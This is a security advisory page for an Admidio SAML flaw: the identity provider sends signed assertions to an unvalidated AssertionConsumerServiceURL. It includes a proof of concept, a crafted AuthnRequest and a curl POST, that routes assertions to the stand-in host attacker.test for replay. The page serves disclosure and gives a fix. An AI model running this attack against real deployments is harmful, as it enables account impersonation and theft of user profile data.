Skip to content

GHSA-p9w9-87c8-m235 CVE-2026-41670

Admidio Sends SAML Response to Unvalidated Assertion Consumer Service URL from AuthnRequest

High Packagist
Severity
8.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.28%
Chance of exploitation in the next 30 days. Higher than 20.51% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
Fix
5.0.9
Upgrade admidio/admidio to this version or later

Description

Summary

The SAML IdP implementation in Admidio's SSO module uses the AssertionConsumerServiceURL value directly from incoming SAML AuthnRequest messages as the destination for the SAML response, without validating it against the registered ACS URL (smc_acs_url) stored in the database for the corresponding service provider client. An attacker who knows the Entity ID of a registered SP client can craft a SAML AuthnRequest with an arbitrary AssertionConsumerServiceURL, causing the IdP to send the signed SAML response -- containing user identity attributes (login name, email, roles, profile fields) -- to an attacker-controlled URL.

Details

The vulnerability is in src/SSO/Service/SAMLService.php, in handleSSORequest() at lines 439-465:

// Line 439: ACS URL extracted directly from the AuthnRequest (attacker-controlled)
$clientACS = $request->getAssertionConsumerServiceURL();

// ...

// Line 456: Used as the Destination of the SAML Response
$response->setDestination($clientACS);

// Lines 463-465: Also used as the Recipient in SubjectConfirmationData
$subjectConfirmationData = new \LightSaml\Model\Assertion\SubjectConfirmationData();
$subjectConfirmationData
    ->setRecipient($clientACS) // Required recipient URL

There is no code that compares $clientACS against the client's registered smc_acs_url column value. The SAML 2.0 specification and OASIS security considerations explicitly require IdPs to verify that the AssertionConsumerServiceURL matches one of the SP's registered ACS endpoints.

Signature validation is conditional and does not prevent this attack:

At lines 417-419:

if ($client->getValue('smc_require_auth_signed') || $client->getValue('smc_validate_signatures')) {
    $this->validateSignature($client, $request, $client->getValue('smc_require_auth_signed'));
}

If neither smc_require_auth_signed nor smc_validate_signatures is enabled for the SP client (which is the default when creating a new client), the AuthnRequest is processed without any signature verification. This means an attacker only needs to know the SP's Entity ID (which is often publicly discoverable from the SP's metadata endpoint) to craft a malicious AuthnRequest.

Even when signatures ARE validated, the ACS URL should still be checked against the registered value, because:

  • Signature validation proves the request came from the SP, not that the ACS URL is authorized
  • If the SP's signing key is compromised, the ACS URL becomes the last line of defense
  • This follows the defense-in-depth principle mandated by SAML 2.0 Profiles Section 4.1.4.1

The same pattern exists in the error response path at lines 323-326:

} elseif (method_exists($request, 'getAssertionConsumerServiceURL')) {
    $response->setDestination($request->getAssertionConsumerServiceURL());
} else {
    $response->setDestination($client->getValue('smc_acs_url'));
}

Attack flow:

  1. Attacker discovers the Entity ID of a SAML client registered in Admidio (e.g., from the SP's public metadata)
  2. Attacker crafts a SAML AuthnRequest with the legitimate Entity ID but an attacker-controlled AssertionConsumerServiceURL
  3. Attacker sends this AuthnRequest to Admidio's SSO endpoint (via redirect or auto-submitting form)
  4. If the user is already logged in to Admidio, the IdP generates a signed SAML response with the user's identity and attributes
  5. The SAML response is POST-binding-sent to the attacker's URL via an auto-submitting HTML form rendered in the victim's browser
  6. The attacker receives the signed SAML assertion containing login name, email, full name, roles, and other profile fields
  7. The attacker can replay this SAML assertion to the legitimate SP (since it is validly signed by the IdP)

PoC

# Step 1: Generate a malicious SAML AuthnRequest
# This is a base64-encoded SAML AuthnRequest with:
#   - Issuer = the known Entity ID of a registered SP
#   - AssertionConsumerServiceURL = attacker's server

# Example AuthnRequest XML (before base64 encoding):
# <samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
#   xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"
#   ID="_test123"
#   Version="2.0"
#   IssueInstant="2026-03-17T00:00:00Z"
#   AssertionConsumerServiceURL="https://attacker.test/steal-saml"
#   ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST">
#   <saml:Issuer>https://legitimate-sp.test/metadata</saml:Issuer>
# </samlp:AuthnRequest>

SAML_REQUEST=$(echo -n '<samlp:AuthnRequest xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_test123" Version="2.0" IssueInstant="2026-03-17T00:00:00Z" AssertionConsumerServiceURL="https://attacker.test/steal-saml" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"><saml:Issuer>REGISTERED_SP_ENTITY_ID</saml:Issuer></samlp:AuthnRequest>' | base64 -w 0)

# Step 2: Send via HTTP-POST binding to Admidio's SSO endpoint
# (This would typically be done by tricking a logged-in user to visit a page with an auto-submitting form)
curl -X POST "https://TARGET/modules/sso/index.php/saml/sso" \
  -d "SAMLRequest=$SAML_REQUEST" \
  -b "ADMIDIO_SESSION=victim_session_cookie"

# Step 3: If the victim is logged in, Admidio will render an auto-submitting HTML form
# that POSTs the signed SAML Response to https://attacker.test/steal-saml
# The response contains: user login name, email, full name, roles, and any other
# profile fields configured in the SP's field mapping

# Step 4: Attacker receives the signed SAML assertion and can replay it
# to the legitimate SP to authenticate as the victim

Impact

  • User Identity Theft: The signed SAML assertion containing login credentials, email, name, and roles is sent to an attacker-controlled URL. The attacker can replay this assertion to the legitimate SP to impersonate the victim.
  • Information Disclosure: User profile data (email, phone, address, role memberships, and any custom profile fields configured in the SP's field mapping) is exfiltrated.
  • Scope Change (S:C): The IdP vulnerability directly enables impersonation on separate Service Provider applications.
  • No Signature Required: When smc_require_auth_signed is not enabled (default), the attack requires zero knowledge of cryptographic keys -- only the SP's Entity ID.

Recommended Fix

Validate the AssertionConsumerServiceURL from the AuthnRequest against the registered smc_acs_url before using it. In src/SSO/Service/SAMLService.php, add validation after loading the client:

// After line 439: $clientACS = $request->getAssertionConsumerServiceURL();

// Validate ACS URL against registered client configuration
$registeredACS = $client->getValue('smc_acs_url');
if (!empty($clientACS) && $clientACS !== $registeredACS) {
    throw new Exception(
        'The AssertionConsumerServiceURL in the AuthnRequest ("' . $clientACS . '") ' .
        'does not match the registered ACS URL for this client. ' .
        'Possible assertion theft attempt.'
    );
}

// If no ACS URL in request, fall back to the registered one
if (empty($clientACS)) {
    $clientACS = $registeredACS;
}

Also apply the same validation in the errorResponse() method at line 323-326:

// Replace lines 323-326 with:
if ($request instanceof LogoutRequest) {
    $response->setDestination($client->getValue('smc_slo_url'));
} else {
    // Always use the registered ACS URL, never the request's ACS URL
    $response->setDestination($client->getValue('smc_acs_url'));
}

Affected versions

Packagist

PackageVulnerableFixed in
admidio/admidio
< 5.0.9
5.0.9

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

admidio/admidio Packagist → 5.0.9

composer
composer require admidio/admidio:^5.0.9

Severity breakdown

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.
  • Architecture and Design: Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
  • Architecture and Design: Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-hm42-q32m-vj4f
Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests
Medium Also affects admidio/admidio
GHSA-xw54-c3mx-9pm3
Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024
Medium Also affects admidio/admidio
GHSA-mch8-wf3h-6x88
Admidio writes session IDs and auto-login cookie values to application logs
Medium Also affects admidio/admidio
GHSA-4rgq-38mh-9xqg
Admidio PKCS#12 private key export action lacks CSRF protection
Medium Also affects admidio/admidio
GHSA-x628-457g-2pw9
Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders
High Also affects admidio/admidio
GHSA-q6w3-hpfv-rg36
Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders
Medium Also affects admidio/admidio
GHSA-xg76-5qj2-2hhv
Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation
Medium Also affects admidio/admidio
GHSA-mx25-j3rc-6w2w
Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords
Medium Also affects admidio/admidio
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor